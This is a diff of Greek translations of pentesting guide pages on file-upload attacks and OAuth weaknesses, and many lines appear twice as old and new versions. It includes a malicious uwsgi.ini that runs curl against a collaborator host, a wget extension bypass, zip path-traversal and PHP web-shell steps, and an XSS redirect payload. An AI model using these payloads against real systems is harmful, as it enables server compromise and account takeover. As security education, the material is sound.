Τα αρχεία `.phar` είναι όπως τα `.jar` για την java, αλλά για php, και μπορούν να **χρησιμοποιηθούν όπως ένα αρχείο php** (εκτελώντας το με php, ή συμπεριλαμβάνοντάς το μέσα σε ένα script...) Τα αρχεία `.phar` είναι όπως τα `.jar` για java, αλλά για php, και μπορούν να **χρησιμοποιηθούν όπως ένα αρχείο php** (εκτελώντας το με php, ή συμπεριλαμβάνοντάς το μέσα σε ένα script...)
Η επέκταση `.inc` χρησιμοποιείται μερικές φορές για αρχεία php που χρησιμοποιούνται μόνο για **εισαγωγή αρχείων**, οπότε, σε κάποιο σημείο, κάποιος θα μπορούσε να έχει επιτρέψει **αυτή την επέκταση να εκτελείται**. Η επέκταση `.inc` χρησιμοποιείται μερικές φορές για αρχεία php που χρησιμοποιούνται μόνο για **εισαγωγή αρχείων**, οπότε, σε κάποιο σημείο, κάποιος θα μπορούσε να έχει επιτρέψει **αυτή την επέκταση να εκτελείται**.
## **Jetty RCE** ## **Jetty RCE**
Αν μπορείς να ανεβάσεις ένα αρχείο XML σε έναν διακομιστή Jetty μπορείς να αποκτήσεις [RCE επειδή **νέα \*.xml και \*.war επεξεργάζονται αυτόματα**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Έτσι, όπως αναφέρεται στην παρακάτω εικόνα, ανέβασε το αρχείο XML στο `$JETTY_BASE/webapps/` και περίμενε το shell! Αν μπορείτε να ανεβάσετε ένα αρχείο XML σε έναν διακομιστή Jetty μπορείτε να αποκτήσετε [RCE επειδή **νέα \*.xml και \*.war επεξεργάζονται αυτόματα**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Έτσι, όπως αναφέρεται στην παρακάτω εικόνα, ανεβάστε το αρχείο XML στο `$JETTY_BASE/webapps/` και περιμένετε το shell!
![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>) ![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>)
## **uWSGI RCE** ## **uWSGI RCE**
Για μια λεπτομερή εξερεύνηση αυτής της ευπάθειας, έλεγξε την αρχική έρευνα: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html). Για μια λεπτομερή εξερεύνηση αυτής της ευπάθειας ελέγξτε την αρχική έρευνα: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
Οι ευπάθειες Remote Command Execution (RCE) μπορούν να εκμεταλλευτούν σε διακομιστές uWSGI αν κάποιος έχει τη δυνατότητα να τροποποιήσει το αρχείο ρύθμισης `.ini`. Τα αρχεία ρύθμισης uWSGI εκμεταλλεύονται μια συγκεκριμένη σύνταξη για να ενσωματώσουν "μαγικές" μεταβλητές, placeholders και τελεστές. Ιδιαίτερα, ο τελεστής '@', που χρησιμοποιείται ως `@(filename)`, έχει σχεδιαστεί για να περιλαμβάνει το περιεχόμενο ενός αρχείου. Μεταξύ των διαφόρων υποστηριζόμενων σχημάτων στο uWSGI, το "exec" σχήμα είναι ιδιαίτερα ισχυρό, επιτρέποντας την ανάγνωση δεδομένων από την τυπική έξοδο μιας διαδικασίας. Αυτή η δυνατότητα μπορεί να χειραγωγηθεί για κακόβουλους σκοπούς όπως Remote Command Execution ή Arbitrary File Write/Read όταν ένα αρχείο ρύθμισης `.ini` επεξεργάζεται. Οι ευπάθειες Remote Command Execution (RCE) μπορούν να εκμεταλλευτούν σε διακομιστές uWSGI αν κάποιος έχει τη δυνατότητα να τροποποιήσει το αρχείο ρύθμισης `.ini`. Τα αρχεία ρύθμισης uWSGI εκμεταλλεύονται μια συγκεκριμένη σύνταξη για να ενσωματώσουν "μαγικές" μεταβλητές, placeholders και τελεστές. Ιδιαίτερα, ο τελεστής '@', που χρησιμοποιείται ως `@(filename)`, έχει σχεδιαστεί για να περιλαμβάνει το περιεχόμενο ενός αρχείου. Μεταξύ των διαφόρων υποστηριζόμενων σχημάτων στο uWSGI, το σχήμα "exec" είναι ιδιαίτερα ισχυρό, επιτρέποντας την ανάγνωση δεδομένων από την τυπική έξοδο μιας διαδικασίας. Αυτή η δυνατότητα μπορεί να χειραγωγηθεί για κακόβουλους σκοπούς όπως Remote Command Execution ή Arbitrary File Write/Read όταν ένα αρχείο ρύθμισης `.ini` επεξεργάζεται.
Σκέψου το παρακάτω παράδειγμα ενός κακόβουλου αρχείου `uwsgi.ini`, που παρουσιάζει διάφορα σχήματα: Σκεφτείτε το παρακάτω παράδειγμα ενός κακόβουλου αρχείου `uwsgi.ini`, που παρουσιάζει διάφορα σχήματα:
```ini ```ini
[uwsgi] [uwsgi]
; read from a symbol ; read from a symbol
@ -126,13 +126,13 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char * ; call a function returning a char *
characters = @(call://uwsgi_func) characters = @(call://uwsgi_func)
``` ```
Η εκτέλεση του payload συμβαίνει κατά την ανάλυση του αρχείου ρυθμίσεων. Για να ενεργοποιηθεί και να αναλυθεί η ρύθμιση, η διαδικασία uWSGI πρέπει είτε να επανεκκινηθεί (πιθανώς μετά από μια κατάρρευση ή λόγω επίθεσης Άρνησης Υπηρεσίας) είτε το αρχείο να ρυθμιστεί για αυτόματη επαναφόρτωση. Η δυνατότητα αυτόματης επαναφόρτωσης, αν είναι ενεργοποιημένη, επαναφορτώνει το αρχείο σε καθορισμένα διαστήματα μόλις ανιχνευθούν αλλαγές. Η εκτέλεση του payload συμβαίνει κατά την ανάλυση του αρχείου ρυθμίσεων. Για να ενεργοποιηθεί και να αναλυθεί η ρύθμιση, η διαδικασία uWSGI πρέπει είτε να επανεκκινηθεί (πιθανώς μετά από μια κατάρρευση ή λόγω επίθεσης Άρνησης Υπηρεσίας) είτε το αρχείο να ρυθμιστεί για αυτόματη επαναφόρτωση. Η δυνατότητα αυτόματης επαναφόρτωσης, αν είναι ενεργοποιημένη, επαναφορτώνει το αρχείο σε καθορισμένα διαστήματα μόλις ανιχνεύσει αλλαγές.
Είναι κρίσιμο να κατανοήσουμε τη χαλαρή φύση της ανάλυσης του αρχείου ρυθμίσεων του uWSGI. Συγκεκριμένα, το συζητηθέν payload μπορεί να εισαχθεί σε ένα δυαδικό αρχείο (όπως μια εικόνα ή PDF), διευρύνοντας περαιτέρω το πεδίο της πιθανής εκμετάλλευσης. Είναι κρίσιμο να κατανοήσουμε τη χαλαρή φύση της ανάλυσης του αρχείου ρυθμίσεων του uWSGI. Συγκεκριμένα, το συζητηθέν payload μπορεί να εισαχθεί σε ένα δυαδικό αρχείο (όπως μια εικόνα ή PDF), διευρύνοντας περαιτέρω το πεδίο της πιθανής εκμετάλλευσης.
## **wget File Upload/SSRF Trick** ## **wget File Upload/SSRF Trick**
Σε ορισμένες περιπτώσεις μπορεί να διαπιστώσετε ότι ένας διακομιστής χρησιμοποιεί **`wget`** για **λήψη αρχείων** και μπορείτε να **υποδείξετε** τη **διεύθυνση URL**. Σε αυτές τις περιπτώσεις, ο κώδικας μπορεί να ελέγχει ότι η επέκταση των ληφθέντων αρχείων είναι μέσα σε μια λευκή λίστα για να διασφαλίσει ότι μόνο επιτρεπόμενα αρχεία θα ληφθούν. Ωστόσο, **αυτός ο έλεγχος μπορεί να παρακαμφθεί.**\ Σε ορισμένες περιπτώσεις, μπορεί να διαπιστώσετε ότι ένας διακομιστής χρησιμοποιεί **`wget`** για να **κατεβάσει αρχεία** και μπορείτε να **υποδείξετε** τη **διεύθυνση URL**. Σε αυτές τις περιπτώσεις, ο κώδικας μπορεί να ελέγχει ότι η επέκταση των κατεβασμένων αρχείων είναι μέσα σε μια λευκή λίστα για να διασφαλίσει ότι μόνο επιτρεπόμενα αρχεία θα κατεβούν. Ωστόσο, **αυτός ο έλεγχος μπορεί να παρακαμφθεί.**\
Το **μέγιστο** μήκος ενός **ονόματος αρχείου** σε **linux** είναι **255**, ωστόσο, **wget** κόβει τα ονόματα αρχείων σε **236** χαρακτήρες. Μπορείτε να **κατεβάσετε ένα αρχείο με το όνομα "A"\*232+".php"+".gif"**, αυτό το όνομα αρχείου θα **παρακάμψει** τον **έλεγχο** (καθώς σε αυτό το παράδειγμα **".gif"** είναι μια **έγκυρη** επέκταση) αλλά το `wget` θα **μετονομάσει** το αρχείο σε **"A"\*232+".php"**. Το **μέγιστο** μήκος ενός **ονόματος αρχείου** σε **linux** είναι **255**, ωστόσο, **wget** κόβει τα ονόματα αρχείων σε **236** χαρακτήρες. Μπορείτε να **κατεβάσετε ένα αρχείο με το όνομα "A"\*232+".php"+".gif"**, αυτό το όνομα αρχείου θα **παρακάμψει** τον **έλεγχο** (καθώς σε αυτό το παράδειγμα **".gif"** είναι μια **έγκυρη** επέκταση) αλλά το `wget` θα **μετονομάσει** το αρχείο σε **"A"\*232+".php"**.
```bash ```bash
#Create file and HTTP server #Create file and HTTP server
@ -177,7 +177,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
- Αν μπορείτε να **υποδείξετε τον web server να πιάσει μια εικόνα από μια διεύθυνση URL** μπορείτε να προσπαθήσετε να εκμεταλλευτείτε μια [SSRF](../ssrf-server-side-request-forgery/index.html). Αν αυτή η **εικόνα** πρόκειται να **αποθηκευτεί** σε κάποια **δημόσια** τοποθεσία, μπορείτε επίσης να υποδείξετε μια διεύθυνση URL από [https://iplogger.org/invisible/](https://iplogger.org/invisible/) και να **κλέψετε πληροφορίες από κάθε επισκέπτη**. - Αν μπορείτε να **υποδείξετε τον web server να πιάσει μια εικόνα από μια διεύθυνση URL** μπορείτε να προσπαθήσετε να εκμεταλλευτείτε μια [SSRF](../ssrf-server-side-request-forgery/index.html). Αν αυτή η **εικόνα** πρόκειται να **αποθηκευτεί** σε κάποια **δημόσια** τοποθεσία, μπορείτε επίσης να υποδείξετε μια διεύθυνση URL από [https://iplogger.org/invisible/](https://iplogger.org/invisible/) και να **κλέψετε πληροφορίες από κάθε επισκέπτη**.
- [**XXE και CORS** παρακάμψη με μεταφόρτωση PDF-Adobe](pdf-upload-xxe-and-cors-bypass.md) - [**XXE και CORS** παρακάμψη με μεταφόρτωση PDF-Adobe](pdf-upload-xxe-and-cors-bypass.md)
- Ιδιαίτερα κατασκευασμένα PDFs για XSS: Η [παρακάτω σελίδα παρουσιάζει πώς να **εισάγετε δεδομένα PDF για να αποκτήσετε εκτέλεση JS**](../xss-cross-site-scripting/pdf-injection.md). Αν μπορείτε να μεταφορτώσετε PDFs μπορείτε να ετοιμάσετε κάποια PDF που θα εκτελούν αυθαίρετο JS ακολουθώντας τις δοθείσες οδηγίες. - Ιδιαίτερα κατασκευασμένα PDFs για XSS: Η [παρακάτω σελίδα παρουσιάζει πώς να **εισάγετε δεδομένα PDF για να αποκτήσετε εκτέλεση JS**](../xss-cross-site-scripting/pdf-injection.md). Αν μπορείτε να μεταφορτώσετε PDFs μπορείτε να ετοιμάσετε κάποια PDF που θα εκτελούν αυθαίρετο JS ακολουθώντας τις δοθείσες οδηγίες.
- Μεταφορτώστε το \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) περιεχόμενο για να ελέγξετε αν ο server έχει κάποιο **αντιβιοτικό** - Μεταφορτώστε το \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) περιεχόμενο για να ελέγξετε αν ο server έχει κάποιο **αντιϊικό**
- Ελέγξτε αν υπάρχει κάποιο **όριο μεγέθους** κατά τη μεταφόρτωση αρχείων - Ελέγξτε αν υπάρχει κάποιο **όριο μεγέθους** κατά τη μεταφόρτωση αρχείων
Ακολουθεί μια λίστα με τα 10 κορυφαία πράγματα που μπορείτε να επιτύχετε με τη μεταφόρτωση (από [εδώ](https://twitter.com/SalahHasoneh1/status/1281274120395685889)): Ακολουθεί μια λίστα με τα 10 κορυφαία πράγματα που μπορείτε να επιτύχετε με τη μεταφόρτωση (από [εδώ](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
@ -189,7 +189,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
5. **XML**: XXE 5. **XML**: XXE
6. **AVI**: LFI / SSRF 6. **AVI**: LFI / SSRF
7. **HTML / JS** : Εισαγωγή HTML / XSS / Ανοιχτή ανακατεύθυνση 7. **HTML / JS** : Εισαγωγή HTML / XSS / Ανοιχτή ανακατεύθυνση
8. **PNG / JPEG**: Επίθεση pixel flood (DoS) 8. **PNG / JPEG**: Επίθεση πλημμύρας pixel (DoS)
9. **ZIP**: RCE μέσω LFI / DoS 9. **ZIP**: RCE μέσω LFI / DoS
10. **PDF / PPTX**: SSRF / BLIND XXE 10. **PDF / PPTX**: SSRF / BLIND XXE
@ -204,7 +204,7 @@ https://github.com/portswigger/upload-scanner
- **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["` - **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["`
- **JPG**: `"\xff\xd8\xff"` - **JPG**: `"\xff\xd8\xff"`
Ανατρέξτε σε [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) για άλλους τύπους αρχείων. Ανατρέξτε στο [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) για άλλους τύπους αρχείων.
### Αυτόματη αποσυμπίεση αρχείου Zip/Tar κατά τη μεταφόρτωση ### Αυτόματη αποσυμπίεση αρχείου Zip/Tar κατά τη μεταφόρτωση
@ -220,7 +220,7 @@ tar -cvf test.tar symindex.txt
``` ```
### Αποσυμπίεση σε διαφορετικούς φακέλους ### Αποσυμπίεση σε διαφορετικούς φακέλους
Η απροσδόκητη δημιουργία αρχείων σε καταλόγους κατά τη διάρκεια της αποσυμπίεσης είναι ένα σημαντικό ζήτημα. Παρά τις αρχικές υποθέσεις ότι αυτή η ρύθμιση μπορεί να προστατεύει από την εκτέλεση εντολών σε επίπεδο λειτουργικού συστήματος μέσω κακόβουλων αναρτήσεων αρχείων, η υποστήριξη ιεραρχικής συμπίεσης και οι δυνατότητες διαδρομής καταλόγου της μορφής ZIP μπορούν να εκμεταλλευτούν. Αυτό επιτρέπει στους επιτιθέμενους να παρακάμψουν περιορισμούς και να ξεφύγουν από ασφαλείς καταλόγους ανάρτησης τροποποιώντας τη λειτουργικότητα αποσυμπίεσης της στοχευμένης εφαρμογής. Η απροσδόκητη δημιουργία αρχείων σε καταλόγους κατά τη διάρκεια της αποσυμπίεσης είναι ένα σημαντικό ζήτημα. Παρά τις αρχικές υποθέσεις ότι αυτή η ρύθμιση μπορεί να προστατεύει από την εκτέλεση εντολών σε επίπεδο λειτουργικού συστήματος μέσω κακόβουλων αναβαθμίσεων αρχείων, η υποστήριξη ιεραρχικής συμπίεσης και οι δυνατότητες διαδρομής καταλόγου της μορφής ZIP μπορούν να εκμεταλλευτούν. Αυτό επιτρέπει στους επιτιθέμενους να παρακάμψουν περιορισμούς και να ξεφύγουν από ασφαλείς καταλόγους αναβάθμισης, χειραγωγώντας τη λειτουργικότητα αποσυμπίεσης της στοχευμένης εφαρμογής.
Μια αυτοματοποιημένη εκμετάλλευση για τη δημιουργία τέτοιων αρχείων είναι διαθέσιμη στο [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). Το εργαλείο μπορεί να χρησιμοποιηθεί όπως φαίνεται: Μια αυτοματοποιημένη εκμετάλλευση για τη δημιουργία τέτοιων αρχείων είναι διαθέσιμη στο [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). Το εργαλείο μπορεί να χρησιμοποιηθεί όπως φαίνεται:
```python ```python
@ -253,7 +253,7 @@ create_zip()
Για περισσότερες λεπτομέρειες **ελέγξτε την αρχική ανάρτηση στο**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/) Για περισσότερες λεπτομέρειες **ελέγξτε την αρχική ανάρτηση στο**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
1. **Δημιουργία PHP Shell**: Ο κώδικας PHP γράφεται για να εκτελεί εντολές που περνούν μέσω της μεταβλητής `$_REQUEST`. 1. **Δημιουργία ενός PHP Shell**: Ο κώδικας PHP γράφεται για να εκτελεί εντολές που περνούν μέσω της μεταβλητής `$_REQUEST`.
```php ```php
<?php <?php
@ -299,7 +299,7 @@ pop graphic-context
Τα πολυγλωσσικά αρχεία χρησιμεύουν ως ένα μοναδικό εργαλείο στην κυβερνοασφάλεια, δρώντας ως χαμαιλέοντες που μπορούν να υπάρχουν έγκυρα σε πολλαπλές μορφές αρχείων ταυτόχρονα. Ένα ενδιαφέρον παράδειγμα είναι ένα [GIFAR](https://en.wikipedia.org/wiki/Gifar), ένας υβριδικός τύπος που λειτουργεί τόσο ως GIF όσο και ως αρχείο RAR. Τέτοια αρχεία δεν περιορίζονται σε αυτόν τον συνδυασμό; συνδυασμοί όπως GIF και JS ή PPT και JS είναι επίσης εφικτοί. Τα πολυγλωσσικά αρχεία χρησιμεύουν ως ένα μοναδικό εργαλείο στην κυβερνοασφάλεια, δρώντας ως χαμαιλέοντες που μπορούν να υπάρχουν έγκυρα σε πολλαπλές μορφές αρχείων ταυτόχρονα. Ένα ενδιαφέρον παράδειγμα είναι ένα [GIFAR](https://en.wikipedia.org/wiki/Gifar), ένας υβριδικός τύπος που λειτουργεί τόσο ως GIF όσο και ως αρχείο RAR. Τέτοια αρχεία δεν περιορίζονται σε αυτόν τον συνδυασμό; συνδυασμοί όπως GIF και JS ή PPT και JS είναι επίσης εφικτοί.
Η βασική χρησιμότητα των πολυγλωσσικών αρχείων έγκειται στην ικανότητά τους να παρακάμπτουν τα μέτρα ασφαλείας που ελέγχουν τα αρχεία με βάση τον τύπο τους. Η κοινή πρακτική σε διάφορες εφαρμογές περιλαμβάνει την άδεια μόνο ορισμένων τύπων αρχείων για ανέβασμα—όπως JPEG, GIF ή DOC—για να μετριαστεί ο κίνδυνος που προκύπτει από δυνητικά επιβλαβείς μορφές (π.χ., JS, PHP ή αρχεία Phar). Ωστόσο, ένα πολυγλωσσικό αρχείο, συμμορφούμενο με τα δομικά κριτήρια πολλών τύπων αρχείων, μπορεί να παρακάμψει κρυφά αυτούς τους περιορισμούς. Η κύρια χρησιμότητα των πολυγλωσσικών αρχείων έγκειται στην ικανότητά τους να παρακάμπτουν τα μέτρα ασφαλείας που ελέγχουν τα αρχεία με βάση τον τύπο τους. Η κοινή πρακτική σε διάφορες εφαρμογές περιλαμβάνει την άδεια μόνο ορισμένων τύπων αρχείων για ανέβασμα—όπως JPEG, GIF ή DOC—για να μετριαστεί ο κίνδυνος που προέρχεται από δυνητικά επιβλαβείς μορφές (π.χ., JS, PHP ή αρχεία Phar). Ωστόσο, ένα πολυγλωσσικό αρχείο, τηρώντας τα δομικά κριτήρια πολλών τύπων αρχείων, μπορεί να παρακάμψει κρυφά αυτούς τους περιορισμούς.
Παρά την προσαρμοστικότητά τους, τα πολυγλωσσικά αρχεία αντιμετωπίζουν περιορισμούς. Για παράδειγμα, ενώ ένα πολυγλωσσικό αρχείο μπορεί ταυτόχρονα να ενσωματώνει ένα αρχείο PHAR (PHp ARchive) και ένα JPEG, η επιτυχία της ανάρτησής του μπορεί να εξαρτάται από τις πολιτικές επεκτάσεων αρχείων της πλατφόρμας. Εάν το σύστημα είναι αυστηρό σχετικά με τις επιτρεπόμενες επεκτάσεις, η απλή δομική διπλότητα ενός πολυγλωσσικού αρχείου μπορεί να μην αρκεί για να εγγυηθεί την ανάρτησή του. Παρά την προσαρμοστικότητά τους, τα πολυγλωσσικά αρχεία αντιμετωπίζουν περιορισμούς. Για παράδειγμα, ενώ ένα πολυγλωσσικό αρχείο μπορεί ταυτόχρονα να ενσωματώνει ένα αρχείο PHAR (PHp ARchive) και ένα JPEG, η επιτυχία της ανάρτησής του μπορεί να εξαρτάται από τις πολιτικές επεκτάσεων αρχείων της πλατφόρμας. Εάν το σύστημα είναι αυστηρό σχετικά με τις επιτρεπόμενες επεκτάσεις, η απλή δομική διπλότητα ενός πολυγλωσσικού αρχείου μπορεί να μην αρκεί για να εγγυηθεί την ανάρτησή του.

View File

@ -4,7 +4,7 @@
## Basic Information <a href="#d4a8" id="d4a8"></a> ## Basic Information <a href="#d4a8" id="d4a8"></a>
Το OAuth προσφέρει διάφορες εκδόσεις, με θεμελιώδεις πληροφορίες διαθέσιμες στην [OAuth 2.0 documentation](https://oauth.net/2/). Αυτή η συζήτηση επικεντρώνεται κυρίως στον ευρέως χρησιμοποιούμενο [OAuth 2.0 authorization code grant type](https://oauth.net/2/grant-types/authorization-code/), παρέχοντας ένα **πλαίσιο εξουσιοδότησης που επιτρέπει σε μια εφαρμογή να έχει πρόσβαση ή να εκτελεί ενέργειες στον λογαριασμό ενός χρήστη σε άλλη εφαρμογή** (ο εξουσιοδοτημένος διακομιστής). Το OAuth προσφέρει διάφορες εκδόσεις, με θεμελιώδεις πληροφορίες διαθέσιμες στην [OAuth 2.0 documentation](https://oauth.net/2/). Αυτή η συζήτηση επικεντρώνεται κυρίως στον ευρέως χρησιμοποιούμενο [OAuth 2.0 authorization code grant type](https://oauth.net/2/grant-types/authorization-code/), παρέχοντας ένα **πλαίσιο εξουσιοδότησης που επιτρέπει σε μια εφαρμογή να έχει πρόσβαση ή να εκτελεί ενέργειες στον λογαριασμό ενός χρήστη σε άλλη εφαρμογή** (τον εξουσιοδοτημένο διακομιστή).
Σκεφτείτε μια υποθετική ιστοσελίδα _**https://example.com**_, σχεδιασμένη να **παρουσιάζει όλες τις αναρτήσεις σας στα κοινωνικά δίκτυα**, συμπεριλαμβανομένων των ιδιωτικών. Για να το επιτύχει αυτό, χρησιμοποιείται το OAuth 2.0. _https://example.com_ θα ζητήσει την άδειά σας να **έχει πρόσβαση στις αναρτήσεις σας στα κοινωνικά δίκτυα**. Ως αποτέλεσμα, θα εμφανιστεί μια οθόνη συγκατάθεσης στο _https://socialmedia.com_, περιγράφοντας τις **άδειες που ζητούνται και τον προγραμματιστή που υποβάλλει το αίτημα**. Μετά την εξουσιοδότησή σας, το _https://example.com_ αποκτά τη δυνατότητα να **έχει πρόσβαση στις αναρτήσεις σας εκ μέρους σας**. Σκεφτείτε μια υποθετική ιστοσελίδα _**https://example.com**_, σχεδιασμένη να **παρουσιάζει όλες τις αναρτήσεις σας στα κοινωνικά δίκτυα**, συμπεριλαμβανομένων των ιδιωτικών. Για να το επιτύχει αυτό, χρησιμοποιείται το OAuth 2.0. _https://example.com_ θα ζητήσει την άδειά σας να **έχει πρόσβαση στις αναρτήσεις σας στα κοινωνικά δίκτυα**. Ως αποτέλεσμα, θα εμφανιστεί μια οθόνη συγκατάθεσης στο _https://socialmedia.com_, περιγράφοντας τις **άδειες που ζητούνται και τον προγραμματιστή που υποβάλλει το αίτημα**. Μετά την εξουσιοδότησή σας, το _https://example.com_ αποκτά τη δυνατότητα να **έχει πρόσβαση στις αναρτήσεις σας εκ μέρους σας**.
@ -44,7 +44,7 @@ https://socialmedia.com/auth
``` ```
https://example.com?code=uniqueCode123&state=randomString123 https://example.com?code=uniqueCode123&state=randomString123
``` ```
5. https://example.com χρησιμοποιεί αυτό το `code`, μαζί με το `client_id` και το `client_secret`, για να κάνει ένα αίτημα από τον διακομιστή για να αποκτήσει ένα `access_token` εκ μέρους σας, επιτρέποντας την πρόσβαση στις άδειες που έχετε συμφωνήσει: 5. https://example.com χρησιμοποιεί αυτό το `code`, μαζί με το `client_id` και το `client_secret`, για να κάνει ένα αίτημα από τον διακομιστή για να αποκτήσει ένα `access_token` εκ μέρους σας, επιτρέποντας την πρόσβαση στις άδειες που συμφωνήσατε:
``` ```
POST /oauth/access_token POST /oauth/access_token
Host: socialmedia.com Host: socialmedia.com
@ -56,13 +56,13 @@ Host: socialmedia.com
### Ανοιχτό redirect_uri <a href="#cc36" id="cc36"></a> ### Ανοιχτό redirect_uri <a href="#cc36" id="cc36"></a>
Το `redirect_uri` είναι κρίσιμο για την ασφάλεια στις υλοποιήσεις OAuth και OpenID, καθώς καθορίζει πού αποστέλλονται τα ευαίσθητα δεδομένα, όπως οι κωδικοί εξουσιοδότησης, μετά την εξουσιοδότηση. Αν είναι κακώς ρυθμισμένο, μπορεί να επιτρέψει στους επιτιθέμενους να ανακατευθύνουν αυτές τις αιτήσεις σε κακόβουλους διακομιστές, επιτρέποντας την κατάληψη λογαριασμού. Το `redirect_uri` είναι κρίσιμο για την ασφάλεια στις υλοποιήσεις OAuth και OpenID, καθώς καθορίζει πού αποστέλλονται ευαίσθητα δεδομένα, όπως οι κωδικοί εξουσιοδότησης, μετά την εξουσιοδότηση. Αν είναι κακοδιαμορφωμένο, μπορεί να επιτρέψει στους επιτιθέμενους να ανακατευθύνουν αυτά τα αιτήματα σε κακόβουλους διακομιστές, επιτρέποντας την κατάληψη λογαριασμού.
Οι τεχνικές εκμετάλλευσης ποικίλλουν ανάλογα με τη λογική επικύρωσης του διακομιστή εξουσιοδότησης. Μπορεί να κυμαίνονται από αυστηρή αντιστοίχιση διαδρομών έως αποδοχή οποιασδήποτε διεύθυνσης URL εντός του καθορισμένου τομέα ή υποκαταλόγου. Κοινές μέθοδοι εκμετάλλευσης περιλαμβάνουν ανοιχτά redirects, διαδρομές διαδρομής, εκμετάλλευση αδύναμων regex και HTML injection για κλοπή token. Οι τεχνικές εκμετάλλευσης ποικίλλουν ανάλογα με τη λογική επικύρωσης του διακομιστή εξουσιοδότησης. Μπορούν να κυμαίνονται από αυστηρή αντιστοίχιση διαδρομών έως αποδοχή οποιασδήποτε διεύθυνσης URL εντός του καθορισμένου τομέα ή υποκαταλόγου. Κοινές μέθοδοι εκμετάλλευσης περιλαμβάνουν ανοιχτά redirects, διαδρομές διαδρομής, εκμετάλλευση αδύναμων regex και HTML injection για κλοπή token.
Εκτός από το `redirect_uri`, άλλες παράμετροι OAuth και OpenID όπως `client_uri`, `policy_uri`, `tos_uri` και `initiate_login_uri` είναι επίσης ευάλωτες σε επιθέσεις ανακατεύθυνσης. Αυτές οι παράμετροι είναι προαιρετικές και η υποστήριξή τους ποικίλλει μεταξύ των διακομιστών. Εκτός από το `redirect_uri`, άλλες παράμετροι OAuth και OpenID όπως `client_uri`, `policy_uri`, `tos_uri` και `initiate_login_uri` είναι επίσης ευάλωτες σε επιθέσεις ανακατεύθυνσης. Αυτές οι παράμετροι είναι προαιρετικές και η υποστήριξή τους ποικίλλει μεταξύ των διακομιστών.
Για εκείνους που στοχεύουν σε έναν διακομιστή OpenID, το endpoint ανακάλυψης (`**.well-known/openid-configuration**`) συχνά παραθέτει πολύτιμες λεπτομέρειες ρύθμισης όπως `registration_endpoint`, `request_uri_parameter_supported` και "`require_request_uri_registration`. Αυτές οι λεπτομέρειες μπορούν να βοηθήσουν στην αναγνώριση του endpoint εγγραφής και άλλων λεπτομερειών ρύθμισης του διακομιστή. Για εκείνους που στοχεύουν σε έναν διακομιστή OpenID, το endpoint ανακάλυψης (`**.well-known/openid-configuration**`) συχνά παραθέτει πολύτιμες λεπτομέρειες διαμόρφωσης όπως `registration_endpoint`, `request_uri_parameter_supported` και "`require_request_uri_registration`. Αυτές οι λεπτομέρειες μπορούν να βοηθήσουν στην αναγνώριση του endpoint εγγραφής και άλλων λεπτομερειών διαμόρφωσης του διακομιστή.
### XSS στην υλοποίηση ανακατεύθυνσης <a href="#bda5" id="bda5"></a> ### XSS στην υλοποίηση ανακατεύθυνσης <a href="#bda5" id="bda5"></a>
@ -70,28 +70,28 @@ Host: socialmedia.com
``` ```
https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</script><h1>test</h1> https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</script><h1>test</h1>
``` ```
### CSRF - Ακατάλληλη διαχείριση παραμέτρου κατάστασης <a href="#bda5" id="bda5"></a> ### CSRF - Improper handling of state parameter <a href="#bda5" id="bda5"></a>
Στις υλοποιήσεις OAuth, η κακή χρήση ή η παράλειψη της **`state` παραμέτρου** μπορεί να αυξήσει σημαντικά τον κίνδυνο επιθέσεων **Cross-Site Request Forgery (CSRF)**. Αυτή η ευπάθεια προκύπτει όταν η `state` παράμετρος είναι είτε **μη χρησιμοποιούμενη, χρησιμοποιούμενη ως στατική τιμή, ή μη σωστά επικυρωμένη**, επιτρέποντας στους επιτιθέμενους να παρακάμψουν τις προστασίες CSRF. Στις υλοποιήσεις OAuth, η κακή χρήση ή η παράλειψη της **`state` παραμέτρου** μπορεί να αυξήσει σημαντικά τον κίνδυνο επιθέσεων **Cross-Site Request Forgery (CSRF)**. Αυτή η ευπάθεια προκύπτει όταν η `state` παράμετρος είναι είτε **μη χρησιμοποιούμενη, χρησιμοποιούμενη ως στατική τιμή, ή μη σωστά επικυρωμένη**, επιτρέποντας στους επιτιθέμενους να παρακάμψουν τις προστασίες CSRF.
